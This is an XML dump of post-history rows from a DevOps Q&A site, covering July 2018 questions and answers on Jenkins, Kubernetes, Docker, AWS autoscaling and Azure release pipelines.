  <row Id="14293" PostHistoryTypeId="3" PostId="4553" RevisionGUID="0a9edc21-a21d-41d4-87d5-a5acf0f85353" CreationDate="2018-07-19T22:03:08.647" UserId="3062" Text="&lt;deployment&gt;&lt;azure-devops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14297" PostHistoryTypeId="2" PostId="4555" RevisionGUID="0c1e9a2b-83c3-4c07-bc4f-f2600eaf39e1" CreationDate="2018-07-19T23:10:16.320" UserId="8737" Text="I have a custom AMI that contains the dependencies for several applications. &#xD;&#xA;&#xD;&#xA;The only difference between the applications is several configuration options that can be configured by a bash script. (i.e. enabling/disabling certain supervisor groups.)&#xD;&#xA;&#xD;&#xA;Each different app is triggered by an different autoscale instance.&#xD;&#xA;&#xD;&#xA;How do I get the instance to run a different script on boot by an autoscaler?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14298" PostHistoryTypeId="1" PostId="4555" RevisionGUID="0c1e9a2b-83c3-4c07-bc4f-f2600eaf39e1" CreationDate="2018-07-19T23:10:16.320" UserId="8737" Text="I have an custom AMI and want to run certain config commands at initial boot, depending on the autoscale instance that starts it. How do I do this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14299" PostHistoryTypeId="3" PostId="4555" RevisionGUID="0c1e9a2b-83c3-4c07-bc4f-f2600eaf39e1" CreationDate="2018-07-19T23:10:16.320" UserId="8737" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;&lt;autoscaling&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14301" PostHistoryTypeId="2" PostId="4556" RevisionGUID="84455486-9df2-41ec-964d-12a69071ffee" CreationDate="2018-07-20T05:13:04.863" UserId="271" Text="If I am understanding you correctly, you have one AMI used in several autoscaling groups and want to run a specific “bootstrap” sequence on it depending on the autoscaling group it belongs to.&#xD;&#xA;&#xD;&#xA;This is not difficult to accomplish because the [launch configuration](https://docs.aws.amazon.com/cli/latest/reference/autoscaling/create-launch-configuration.html) you created to map the autoscaling group to the AMI can [accomodate user data](https://docs.aws.amazon.com/cli/latest/reference/autoscaling/create-launch-configuration.html) which can be a shell script.&#xD;&#xA;&#xD;&#xA;In the shell script provided as user data, it is customary to [retrieve meta data](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html) so that the instances can correctly identify itself in logs and arrange other similar last minute details.  This meta-data could also contain a reference to the auto-scaling group, which you could take advantage of to reduce the little overhead due to autoscaling-group management.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14302" PostHistoryTypeId="50" PostId="4332" RevisionGUID="9b0a55b5-c365-4b32-be47-0252ea814b9b" CreationDate="2018-07-20T05:30:55.137" UserId="-1" />
  <row Id="14304" PostHistoryTypeId="2" PostId="4557" RevisionGUID="45f33ac0-1f84-4d4d-bc5f-b3cf902a8131" CreationDate="2018-07-20T13:03:06.587" UserId="8875" Text="I'm working on huge pipeline with different development environment (python, node, java). &#xD;&#xA;For manage this CI pipeline our teams using Jenkins at Kubernetes environment. &#xD;&#xA;&#xD;&#xA;I want to give PipeLine node annotation at Groovy Script show as below . &#xD;&#xA;&#xD;&#xA;     node(&quot;test-py&quot;) {&#xD;&#xA;       sh &quot;python -m -v py.test TEST_FILE.py &quot;&#xD;&#xA;     }&#xD;&#xA;&#xD;&#xA;How I can create pod with image , with Jenkins Kubernetes Plugin . &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14305" PostHistoryTypeId="1" PostId="4557" RevisionGUID="45f33ac0-1f84-4d4d-bc5f-b3cf902a8131" CreationDate="2018-07-20T13:03:06.587" UserId="8875" Text="Jenkins Node Image at Kubernetes Plugin" ContentLicense="CC BY-SA 4.0" />
  <row Id="14306" PostHistoryTypeId="3" PostId="4557" RevisionGUID="45f33ac0-1f84-4d4d-bc5f-b3cf902a8131" CreationDate="2018-07-20T13:03:06.587" UserId="8875" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;kubernetes&gt;&lt;python&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14307" PostHistoryTypeId="2" PostId="4558" RevisionGUID="7d5c4c41-1abc-40f1-a973-c7c0e679132b" CreationDate="2018-07-20T13:56:18.267" UserId="4856" Text="While you can use the Release Description field the moment you Start a Release&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;which fills in the `$(Release.ReleaseDescription)` variable, I discourage this approach.&#xD;&#xA;&#xD;&#xA;The whole point of a Release Pipeline is to automate and having users inputting data is against this approach.&#xD;&#xA;If you do not trust VSTS for Secrets, you can store them in Azure KeyVault or similar and pull them down while releasing. It is not a chance that there are [Tasks](https://docs.microsoft.com/en-us/vsts/pipelines/tasks/deploy/azure-key-vault?view=vsts) to facilitate this.&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/s5Che.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="14308" PostHistoryTypeId="5" PostId="4553" RevisionGUID="6b094180-0ff1-485c-8eff-5855ac4c4044" CreationDate="2018-07-20T14:31:01.580" UserId="3062" Comment="added clarity per request" Text="So I'm automating a process we currently have where we deploy a database and then have an exe that 'activates' the database.  The default values are different for each product and is determined by a cmd line arg.&#xD;&#xA;&#xD;&#xA;I've created 3 VSTS Release environments based on the hardware IO board for the environment.  How can I pass in this product flag at deploy time as it isn't dependent on the environment or release itself.&#xD;&#xA;&#xD;&#xA;Edit:&#xD;&#xA;The product flag value isn't known until the database is deployed into an environment, and value can not be set in the release definition creation time or at release time.  Only when deployed into a particular environemnt" ContentLicense="CC BY-SA 4.0" />
  <row Id="14309" PostHistoryTypeId="2" PostId="4559" RevisionGUID="9a0f228d-afb7-41aa-b382-14bf8345e1f1" CreationDate="2018-07-20T15:52:05.507" UserId="7041" Text="You can use `helm get manifest &lt;RELEASE_NAME&gt;` to fetch the kubernets manifests and you can use `helm get values &lt;RELEASE_NAME&gt;` to get the `values.yaml` from the cluster. But I don't think there is any way to get the chart files back. Sorry.&#xD;&#xA;&#xD;&#xA;PS: Please replace `&lt;RELEASE_NAME&gt;` with your release name." ContentLicense="CC BY-SA 4.0" />
  <row Id="14310" PostHistoryTypeId="2" PostId="4560" RevisionGUID="726b02da-6f3c-480c-915e-a7b91e8e407b" CreationDate="2018-07-20T16:26:45.873" UserId="8878" Text="I am trying to write my `.travis.yml` to perform multi platform test on Travis-CI using Docker. The platforms I want to test on:&#xD;&#xA;&#xD;&#xA;1.  Ubuntu 14.04&#xD;&#xA;2.  Ubuntu 16.04&#xD;&#xA;3.  Debian 8&#xD;&#xA;4.  Debian 9&#xD;&#xA;&#xD;&#xA;The whole concept in a nutshell is (for all 4 distros):&#xD;&#xA;&#xD;&#xA;1.  `docker pull ubuntu:trusty`&#xD;&#xA;2.  `docker run ubuntu:trusty`&#xD;&#xA;3.  Run `make test` inside the container (on my repo's clone)&#xD;&#xA;4.  Copy the `result.xml` back to Travis&#xD;&#xA;5.  Run `scp result.xml ${SERVER_USER}@${SERVER_ADDR}:/home/${SERVER_USER}/result/`&#xD;&#xA;&#xD;&#xA;I know how to run scripts inside a docker container but how am I going to get the current branch inside the container and run `make test` on it make me go crazy.&#xD;&#xA;&#xD;&#xA;Any help will be much appreciated!" ContentLicense="CC BY-SA 4.0" />
  <row Id="14311" PostHistoryTypeId="1" PostId="4560" RevisionGUID="726b02da-6f3c-480c-915e-a7b91e8e407b" CreationDate="2018-07-20T16:26:45.873" UserId="8878" Text="Multi platform test on Travis-CI using Docker" ContentLicense="CC BY-SA 4.0" />
  <row Id="14312" PostHistoryTypeId="3" PostId="4560" RevisionGUID="726b02da-6f3c-480c-915e-a7b91e8e407b" CreationDate="2018-07-20T16:26:45.873" UserId="8878" Text="&lt;docker&gt;&lt;travis-ci&gt;&lt;docker-in-docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14313" PostHistoryTypeId="2" PostId="4561" RevisionGUID="fbaa56ef-e1fc-4f3e-bf2f-bc07b8ebec62" CreationDate="2018-07-20T16:50:55.707" UserId="8863" Text="To my knowledge there are no services today that offer Vault SaaS. However, if you're looking for a better UI/UX, there are great options out there for a Vault UI (A full Hashicorp supported list can be found [here][1]). I've personally tried out both [Cryptr][2] and [Goldfish][3] and have found both to be robust and complete. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.vaultproject.io/api/relatedtools.html&#xD;&#xA;  [2]: https://github.com/adobe/cryptr&#xD;&#xA;  [3]: https://vault-ui.io/#/" ContentLicense="CC BY-SA 4.0" />
  <row Id="14319" PostHistoryTypeId="5" PostId="3437" RevisionGUID="5a68dc37-4958-47f4-8df2-6d0b6caf852c" CreationDate="2018-07-20T18:18:11.470" UserId="7917" Comment="Copy edited." Text="Jenkins provides `agent.jar` and a secret required to make a connection from the node to the master. Make sure the node is configured properly (*Manage Jenkins* → *Manage Nodes* → *Node*)&#xD;&#xA;&#xD;&#xA;[![Enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;Ensure Java 1.8 is present on the Windows agent. Download the `agent.jar` file on the Windows machine, and run the command Jenkins provides, using Windows command prompt.&#xD;&#xA;&#xD;&#xA;    java -jar agent.jar -jnlpUrl http://localhost:8080/computer/example/slave-agent.jnlp -secret e6073ce49423ed54df4a24f918973f50dc760dd440013d3b30403c4a2c7501fd -workDir &quot;c:\jenkins&quot;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/lkkp4.png&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14320" PostHistoryTypeId="24" PostId="3437" RevisionGUID="5a68dc37-4958-47f4-8df2-6d0b6caf852c" CreationDate="2018-07-20T18:18:11.470" Comment="Proposed by 7917 approved by 40, 6579 edit id of 732" ContentLicense="CC BY-SA 4.0" />
  <row Id="14321" PostHistoryTypeId="2" PostId="4563" RevisionGUID="dc1fb5df-f5f4-4598-88dd-d6b71fb586e0" CreationDate="2018-07-20T18:40:33.387" UserId="6579" Text="Have a look at the documentation presented here:&#xD;&#xA;&#xD;&#xA;https://github.com/jenkinsci/kubernetes-plugin&#xD;&#xA;&#xD;&#xA;You need to specify a Kubernetes pod in your pipeline. An example of your use case would look similar to this for a single python container. You'll notice that containers: [] expects an array so you can include additional containers.&#xD;&#xA;&#xD;&#xA;    def label = &quot;mypod-${UUID.randomUUID().toString()}&quot;&#xD;&#xA;    &#xD;&#xA;    podTemplate(label: label, containers: [&#xD;&#xA;        containerTemplate(name: 'python', image: 'python:3.7-alpine', ttyEnabled: true, command: 'cat'),&#xD;&#xA;    ]) {&#xD;&#xA;        node(label) {&#xD;&#xA;            stage('Get a Python project') {&#xD;&#xA;                git 'https://github.com/oğuz/project.git'&#xD;&#xA;                container('python') {&#xD;&#xA;                    stage('Test a Python project') {&#xD;&#xA;                        sh &quot;python -m -v py.test TEST_FILE.py &quot;&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }" ContentLicense="CC BY-SA 4.0" />
  <row Id="14322" PostHistoryTypeId="5" PostId="3416" RevisionGUID="ff9400a3-e8cc-4daa-8a87-6053528e3e8b" CreationDate="2018-07-20T18:53:22.937" UserId="6579" Comment="corrected small code mistake in the example" Text="You can pass your data using environment variables or through job parameters. &#xD;&#xA;&#xD;&#xA;Here's an example of setting environment variables in a pipeline:&#xD;&#xA;&#xD;&#xA;&lt;!-- language-all: lang-java --&gt;&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;        agent any&#xD;&#xA;        environment {&#xD;&#xA;            FILE = &quot;Makefile&quot;&#xD;&#xA;            SERVER = &quot;example.com&quot;&#xD;&#xA;            VERSION = &quot;v1.1.0&quot;&#xD;&#xA;        }&#xD;&#xA;        stages {&#xD;&#xA;            stage ('build') {&#xD;&#xA;                steps {&#xD;&#xA;                    echo &quot;VERSION is: $VERSION&quot;&#xD;&#xA;                    bat &quot;script.exe ${version} ${server} ${file}&quot;&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If you want to use parameters instead you could do so in the following pipeline example:&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;    pipeline {&#xD;&#xA;      agent any&#xD;&#xA;      parameters {&#xD;&#xA;        string(description: 'file', name: 'file')&#xD;&#xA;        string(description: 'server', name: 'server')&#xD;&#xA;        string(description: 'version', name: 'version')&#xD;&#xA;      }&#xD;&#xA;      stages {&#xD;&#xA;        stage(&quot;foo&quot;) {&#xD;&#xA;          steps {&#xD;&#xA;            echo &quot;VERSION is: ${params.version}&quot;&#xD;&#xA;            bat &quot;script.exe ${params.version} ${params.server} ${params.file}&quot;&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;See the following documentation for building a parameterized pipeline:&#xD;&#xA;https://github.com/jenkinsci/pipeline-model-definition-plugin/wiki/Parametrized-pipelines&#xD;&#xA;&#xD;&#xA;If you're using a freestyle job it's slightly different but you can find detailed instructions here:&#xD;&#xA;https://wiki.jenkins.io/display/JENKINS/Parameterized+Build" ContentLicense="CC BY-SA 4.0" />
  <row Id="14323" PostHistoryTypeId="2" PostId="4564" RevisionGUID="8cf63b96-cf58-4d8a-bdad-99663baecb14" CreationDate="2018-07-20T19:58:29.113" UserId="3062" Text="Closing this issue as we were able to modify the process with the teams involved to be able to define the variable when the release is created." ContentLicense="CC BY-SA 4.0" />
  <row Id="14331" PostHistoryTypeId="4" PostId="4513" RevisionGUID="249de98f-b2c4-4e49-920e-142b7f99320e" CreationDate="2018-07-21T06:50:29.583" UserId="6579" Comment="remove proceeding &quot;on&quot; (linux) to clarify question " Text="Running a powershell script via jenkins on a linux host" ContentLicense="CC BY-SA 4.0" />
  <row Id="14332" PostHistoryTypeId="24" PostId="4513" RevisionGUID="249de98f-b2c4-4e49-920e-142b7f99320e" CreationDate="2018-07-21T06:50:29.583" Comment="Proposed by 6579 approved by -1 edit id of 734" ContentLicense="CC BY-SA 4.0" />
  <row Id="14333" PostHistoryTypeId="5" PostId="4513" RevisionGUID="cfb64470-48a9-4d37-84df-1e3dcf30aed3" CreationDate="2018-07-21T06:50:29.583" UserId="40" Comment="edited body; edited title" Text="I have a powershell script cloned into my workspace from a bitbucket repository. If I login to the Jenkins server cli I can run it by doing&#xD;&#xA;&#xD;&#xA;    cd /var/lib/jenkins/workspace/powershell&#xD;&#xA;    pwsh&#xD;&#xA;    ./psscript.ps1&#xD;&#xA;&#xD;&#xA;This runs fine as expected, but when I try to run it via Jenkins I get the error&#xD;&#xA;&#xD;&#xA;    /tmp/jenkins2117772455970634975.sh: line 3: ./psscript.ps1: Permission denied&#xD;&#xA;&#xD;&#xA;My Jenkins user is &#xD;&#xA;&#xD;&#xA;    user.name	netuser&#xD;&#xA;&#xD;&#xA;and when I do a whoami from both the pwsh cli console and on the linux cli I get the same thing&#xD;&#xA;&#xD;&#xA;    PS /var/lib/jenkins/workspace/powershell&gt; whoami&#xD;&#xA;netuser&#xD;&#xA;&#xD;&#xA;    [netuser@server1]$ whoami&#xD;&#xA;    netuser&#xD;&#xA;&#xD;&#xA;Is there another setting I'm missing here?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14334" PostHistoryTypeId="4" PostId="4513" RevisionGUID="cfb64470-48a9-4d37-84df-1e3dcf30aed3" CreationDate="2018-07-21T06:50:29.583" UserId="40" Comment="edited body; edited title" Text="Running a powershell script via Jenkins on a Linux host" ContentLicense="CC BY-SA 4.0" />
  <row Id="14335" PostHistoryTypeId="2" PostId="4567" RevisionGUID="b2dc7327-24ce-4120-9e8d-1e2244fd7f8d" CreationDate="2018-07-21T08:58:15.433" UserId="5288" Text="I have read (and seen several online videos) that Linux containers can’t be run on windows and visa versa. It is my understanding that this is due to the fact that the container doesn’t contain a kernel and therefore it relies on the host kernel.&#xA;&#xA;But if I have a simple app like a python hello world, what prevents this from running on both operating systems?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14336" PostHistoryTypeId="1" PostId="4567" RevisionGUID="b2dc7327-24ce-4120-9e8d-1e2244fd7f8d" CreationDate="2018-07-21T08:58:15.433" UserId="5288" Text="Can a cross platform app be run as a container on both Linux and windows hosts?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14337" PostHistoryTypeId="3" PostId="4567" RevisionGUID="b2dc7327-24ce-4120-9e8d-1e2244fd7f8d" CreationDate="2018-07-21T08:58:15.433" UserId="5288" Text="&lt;docker&gt;&lt;containers&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14340" PostHistoryTypeId="2" PostId="4569" RevisionGUID="80af5e41-d641-401a-8c29-4b833dfb2ed7" CreationDate="2018-07-21T10:30:48.123" UserId="4637" Text="I am struggling with retrieving the difference between :&#xD;&#xA;&#xD;&#xA;- [KATA](https://katacontainers.io/) &#xD;&#xA;and &#xD;&#xA;&#xD;&#xA;- [IBM NABLA](https://nabla-containers.github.io/).&#xD;&#xA;&#xD;&#xA;Or better, what is the added value of the one over the other? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Both come with enhancement of containers isolation: something between container and VM.&#xD;&#xA;&#xD;&#xA;But, still, the difference/added value is not clear.&#xD;&#xA;&#xD;&#xA;**KATA** is more clear for me since I successfully ran KATA container in GCP and I wrote an [article about it](http://elegance.abdennoor.com/successfully-running-kata-containers-in-the-cloud).&#xD;&#xA;&#xD;&#xA;I will paste here the definition of each one from its official website, it might be helpful in retrieving the difference/added value :&#xD;&#xA;&#xD;&#xA;&gt; Kata Containers is a new open source project building extremely&#xD;&#xA;&gt; lightweight virtual machines that seamlessly plug into the containers&#xD;&#xA;&gt; ecosystem.&#xD;&#xA;&#xD;&#xA;--&#xD;&#xA;&#xD;&#xA;&gt; Nabla containers achieve isolation by adopting a strategy of attack&#xD;&#xA;&gt; surface reduction to the host" ContentLicense="CC BY-SA 4.0" />
  <row Id="14341" PostHistoryTypeId="1" PostId="4569" RevisionGUID="80af5e41-d641-401a-8c29-4b833dfb2ed7" CreationDate="2018-07-21T10:30:48.123" UserId="4637" Text="KATA vs NABLA Containers Isolation" ContentLicense="CC BY-SA 4.0" />
  <row Id="14342" PostHistoryTypeId="3" PostId="4569" RevisionGUID="80af5e41-d641-401a-8c29-4b833dfb2ed7" CreationDate="2018-07-21T10:30:48.123" UserId="4637" Text="&lt;containers&gt;&lt;virtualization&gt;&lt;comparison&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14343" PostHistoryTypeId="2" PostId="4570" RevisionGUID="6c235d6b-d6e9-4bd8-b9df-7a60b28bd8bd" CreationDate="2018-07-21T11:12:50.380" UserId="8691" Text="You can run your Docker containers on all major platforms, but Docker on Windows and Mac runs your containers on a Linux VM. &#xD;&#xA;&#xD;&#xA;It takes care of mapping volumes, ports etc. from your host machine to containers, so mostly you don't have to think about the VM layer. But you still have configure limits of VM resources (RAM, CPU etc.) and there might be adverse effects on performance.&#xD;&#xA;&#xD;&#xA;I don't think you can run Linux-based Docker containers on a Windows machine directly without a VM (not taking WSL into account) as even a simple &quot;hello world&quot; app would use a Linux base image with Linux binaries, which cannot be run on a Windows machine without some kind of emulation or virtualization.&#xD;&#xA;&#xD;&#xA;See: https://docs.docker.com/docker-for-windows" ContentLicense="CC BY-SA 4.0" />
  <row Id="14344" PostHistoryTypeId="2" PostId="4571" RevisionGUID="4ea32ac1-4a47-4764-b350-2990bc28f4d3" CreationDate="2018-07-21T14:22:13.570" UserId="8891" Text="When using Azure's WebApps to run C# MVC based applications on production environments, I'm always wondering about when to use the B-2 (Basic-2 with 2-cores and 3.5 GB) and when to use S-1 (Standard-1 with 1-core and 1.75GB).&#xD;&#xA;&#xD;&#xA;It sure sounds like the B-2 would result in better performance, still all official recommendations for production use is to run it on S-1 or above. Maybe there's some CPU throttling on B-* plans? Or other 'bottle-neck' that I'm not aware?&#xD;&#xA;&#xD;&#xA;Or should I be better off just using the B-2 for production (over a S-1)?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14345" PostHistoryTypeId="1" PostId="4571" RevisionGUID="4ea32ac1-4a47-4764-b350-2990bc28f4d3" CreationDate="2018-07-21T14:22:13.570" UserId="8891" Text="Is Azure's B-2 app service plan better than a S-1 for production environments?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14346" PostHistoryTypeId="3" PostId="4571" RevisionGUID="4ea32ac1-4a47-4764-b350-2990bc28f4d3" CreationDate="2018-07-21T14:22:13.570" UserId="8891" Text="&lt;azure&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14347" PostHistoryTypeId="50" PostId="3066" RevisionGUID="ba1a102c-53a5-46f7-af78-306f517c107a" CreationDate="2018-07-21T21:31:07.073" UserId="-1" />
  <row Id="14348" PostHistoryTypeId="2" PostId="4572" RevisionGUID="f1f49669-a215-4f1e-aeaf-647b62a8dcb9" CreationDate="2018-07-22T00:13:38.560" UserId="3" Text="I've connected external HDD via USD on macOS, and I'm running Ubuntu's Docker container as:&#xD;&#xA;&#xD;&#xA;    docker run -it --device=/dev/disk3 --privileged ubuntu bash&#xD;&#xA;&#xD;&#xA;but the device is not present in the container:&#xD;&#xA;&#xD;&#xA;    # ls /dev/disk3&#xD;&#xA;    ls: cannot access '/dev/disk3': No such file or directory&#xD;&#xA;    # fdisk -l&#xD;&#xA;    Disk /dev/sda: 59.6 GiB, 63999836160 bytes, 124999680 sectors&#xD;&#xA;    Device     Boot Start       End   Sectors  Size Id Type&#xD;&#xA;    /dev/sda1  *     2048 124999679 124997632 59.6G 83 Linux&#xD;&#xA;&#xD;&#xA;Here is another attempt:&#xD;&#xA;&#xD;&#xA;    $ docker run -it --device=/dev/disk3:/dev/sdb --privileged ubuntu bash&#xD;&#xA;    # ls /dev/sdb*&#xD;&#xA;    ls: cannot access '/dev/sdb*': No such file or directory&#xD;&#xA;    # fdisk -l&#xD;&#xA;    Disk /dev/sda: 59.6 GiB, 63999836160 bytes, 124999680 sectors&#xD;&#xA;    Device     Boot Start       End   Sectors  Size Id Type&#xD;&#xA;    /dev/sda1  *     2048 124999679 124997632 59.6G 83 Linux&#xD;&#xA;&#xD;&#xA;Here is the device which I'm trying to add to the container (as reported on macOS):&#xD;&#xA;&#xD;&#xA;    $ diskutil list /dev/disk3&#xD;&#xA;    /dev/disk3 (external, physical):&#xD;&#xA;       #:                       TYPE NAME                    SIZE       IDENTIFIER&#xD;&#xA;       0:     FDisk_partition_scheme                        *1.0 TB     disk3&#xD;&#xA;       1:                      Linux                         1.0 TB     disk3s1&#xD;&#xA;&#xD;&#xA;    $ sudo fdisk /dev/disk3&#xD;&#xA;    Disk: /dev/disk3	geometry: 121601/255/63 [1953525167 sectors]&#xD;&#xA;    Signature: 0xAA55&#xD;&#xA;             Starting       Ending&#xD;&#xA;     #: id  cyl  hd sec -  cyl  hd sec [     start -       size]&#xD;&#xA;    ------------------------------------------------------------------------&#xD;&#xA;     1: 83 1023 254  63 - 1023 254  63 [         2 - 1953525165] Linux files*&#xD;&#xA;     2: 00    0   0   0 -    0   0   0 [         0 -          0] unused      &#xD;&#xA;     3: 00    0   0   0 -    0   0   0 [         0 -          0] unused      &#xD;&#xA;     4: 00    0   0   0 -    0   0   0 [         0 -          0] unused      &#xD;&#xA;&#xD;&#xA;Similar issues are posted here:&#xD;&#xA;&#xD;&#xA;- [How do I access a USB drive on an OSX host from inside a Docker container?](https://stackoverflow.com/q/35854886/55075)&#xD;&#xA;- [How to mount a device of host to host in a Docker container?](https://stackoverflow.com/q/38736319/55075)&#xD;&#xA;&#xD;&#xA;However, I cannot mount it on macOS host, as the partition is formatted to Linux file system (ext4) which is not supported. That's why I'm trying to pass through the device to the Linux Docker container, but the device isn't shown.&#xD;&#xA;&#xD;&#xA;What am I missing?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14349" PostHistoryTypeId="1" PostId="4572" RevisionGUID="f1f49669-a215-4f1e-aeaf-647b62a8dcb9" CreationDate="2018-07-22T00:13:38.560" UserId="3" Text="How to pass a /dev/disk device on macOS into Linux Docker?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14350" PostHistoryTypeId="3" PostId="4572" RevisionGUID="f1f49669-a215-4f1e-aeaf-647b62a8dcb9" CreationDate="2018-07-22T00:13:38.560" UserId="3" Text="&lt;docker&gt;&lt;linux&gt;&lt;macos&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14351" PostHistoryTypeId="50" PostId="3226" RevisionGUID="d8a8acbb-cd35-41f4-a972-e4f251766531" CreationDate="2018-07-22T00:31:09.820" UserId="-1" />
  <row Id="14352" PostHistoryTypeId="2" PostId="4573" RevisionGUID="3522e50b-e3cd-4615-bc05-7eaa567efcd3" CreationDate="2018-07-22T02:31:54.457" UserId="8895" Text="DevOps primarily focuses on Delivery Speed and SRE focuses on Reliability in production but where does Production Support Engineers fits who also focuses on production monitoring, alerting, performance, user experience, incident management, rca and works on code defects and understands business functionality?  &#xD;&#xA;&#xD;&#xA; - In a SRE world, would production support engineers more aligned to SRE or merged with SRE? &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14353" PostHistoryTypeId="1" PostId="4573" RevisionGUID="3522e50b-e3cd-4615-bc05-7eaa567efcd3" CreationDate="2018-07-22T02:31:54.457" UserId="8895" Text="DevOps vs SRE vs Production Support Engineers" ContentLicense="CC BY-SA 4.0" />
  <row Id="14354" PostHistoryTypeId="3" PostId="4573" RevisionGUID="3522e50b-e3cd-4615-bc05-7eaa567efcd3" CreationDate="2018-07-22T02:31:54.457" UserId="8895" Text="&lt;sre&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14355" PostHistoryTypeId="2" PostId="4574" RevisionGUID="f75d88c2-6b72-47c1-a5b8-b90dca82b1b8" CreationDate="2018-07-22T05:08:19.410" UserId="4369" Text="&gt;But if I have a simple app like a python hello world, what prevents this from running on both operating systems?&#xD;&#xA;&#xD;&#xA;It won't work in the same way that copying `/usr/bin/python` from a Linux machine to a Windows machine and using it to run your application doesn't work.&#xD;&#xA;&#xD;&#xA;Docker isn't running the hello world script, it's running Python, which needs to be compiled for specific operating systems and architectures." ContentLicense="CC BY-SA 4.0" />
  <row Id="14356" PostHistoryTypeId="5" PostId="4017" RevisionGUID="cf9d1dc6-c627-4ecb-9c83-ac93fe7b4c20" CreationDate="2018-07-22T07:52:58.733" UserId="7917" Comment="Copy edited (e.g. ref. &lt;https://en.wiktionary.org/wiki/set_up#Verb&gt;)." Text="I have a Jenkins setup running in production. I want to automate the Jenkins setup (installation) along with all the jobs that are set up in Jenkins.&#xD;&#xA;&#xD;&#xA;One crude way I can think of is to copy the whole jobs directory to the new Jenkins setup.&#xD;&#xA;&#xD;&#xA;How do I deal with this problem?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14357" PostHistoryTypeId="4" PostId="4017" RevisionGUID="cf9d1dc6-c627-4ecb-9c83-ac93fe7b4c20" CreationDate="2018-07-22T07:52:58.733" UserId="7917" Comment="Copy edited (e.g. ref. &lt;https://en.wiktionary.org/wiki/set_up#Verb&gt;)." Text="How do I replicate a Jenkins setup via automation?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14358" PostHistoryTypeId="24" PostId="4017" RevisionGUID="cf9d1dc6-c627-4ecb-9c83-ac93fe7b4c20" CreationDate="2018-07-22T07:52:58.733" Comment="Proposed by 7917 approved by 13 edit id of 733" ContentLicense="CC BY-SA 4.0" />
  <row Id="14359" PostHistoryTypeId="5" PostId="4327" RevisionGUID="d819c179-3114-45f2-85d9-cfd6b9e11b13" CreationDate="2018-07-22T07:53:20.093" UserId="7917" Comment="Copy edited." Text="Each command in the [Dockerfile][1] is processed as a separate step. Every step from the build process gets executed in a dedicated container. It starts from Step 1 (the first command in the Dockerfile). That step is run in a container and if it is successful, a commit to a temporary image (let's call it image A) takes place. Then, Step 2 is executed in a container which is run from image A ... and so on until the final step is executed successfully. And as Tensibai commented - how do you think to run a container without the daemon?&#xD;&#xA;&#xD;&#xA;So, yes - building a docker image requires the docker daemon to be running.&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/reference/builder/&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14360" PostHistoryTypeId="24" PostId="4327" RevisionGUID="d819c179-3114-45f2-85d9-cfd6b9e11b13" CreationDate="2018-07-22T07:53:20.093" Comment="Proposed by 7917 approved by 40, 13 edit id of 736" ContentLicense="CC BY-SA 4.0" />
  <row Id="14361" PostHistoryTypeId="5" PostId="4330" RevisionGUID="bbbfefed-8a97-4da9-a42f-32c7ae76321e" CreationDate="2018-07-22T07:53:44.670" UserId="7917" Comment="Copy edited (e.g. ref. &lt;https://en.wikipedia.org/wiki/Docker_%28software%29&gt; and &lt;https://en.wiktionary.org/wiki/set_up#Verb&gt;)." Text="The Docker client is a CLI interface to the [dockerd][1] REST API. Very little happens in the client itself. Docker performs build steps on the dockerd engine and changing this would be a non-trivial task. Each `RUN` step creates a temporary container to execute the command and gather the resulting container filesystem as a new layer. The build cache is maintained as images on the server. And each layer of the image is managed by the storage driver within the Docker engine.&#xD;&#xA;&#xD;&#xA;There are various attempts to try to remove this dependency, but the biggest stumbling block for each will be the temporary containers used by `RUN` which require a container runtime and root access on the server to set up.&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/reference/commandline/dockerd/&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
